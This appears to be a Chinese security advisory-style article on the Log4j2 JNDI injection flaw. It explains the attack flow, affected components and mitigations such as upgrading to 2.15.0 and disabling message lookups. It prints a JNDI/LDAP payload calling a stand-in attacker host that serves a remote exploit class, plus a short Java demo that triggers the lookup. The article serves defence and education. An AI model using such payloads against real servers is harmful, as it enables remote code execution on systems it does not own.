Apache Log4j2是基于Java的日志记录工具。工具重写了Log4j框架,并且引入了大量丰富特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。因该组件使用极为广泛,利用门槛很低,危害极大,腾讯安全专家建议所有用户尽快升级到安全版本。
12 月 10 日,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行,据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。已知受影响应用及组件:
- Apache Solr
- Apache Flink
- Apache Druid
- srping-boot-strater-log4j2
-
攻击者向漏洞服务器发起攻击请求。
-
服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。
-
记录的恶意负载被触发,服务器通过JNDI向attacker.com请求。
-
attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
-
攻击者执行恶意脚本。
例如
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Test { private static final Logger LOGGER = LogManager.getLogger(Test.class); public static void main(String[] args) { String code = "${jndi:rmi://localhost:9001}"; LOGGER.info(code); } }
执行日志处理时会lookup处理,lookups是一个Map集合,初始化了一组Key, 当消息内容种包含指定字符的时候,使用StrLookup对象执行lookup *** 作
处理的时候调用 jndiManager执行字符串后边部分,例如 rmi://localhost:xxxx
修复方案
据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本, 建议升级log4j版本
临时方案(1)修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 log4j2.formatMsgNoLookups=True
(3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)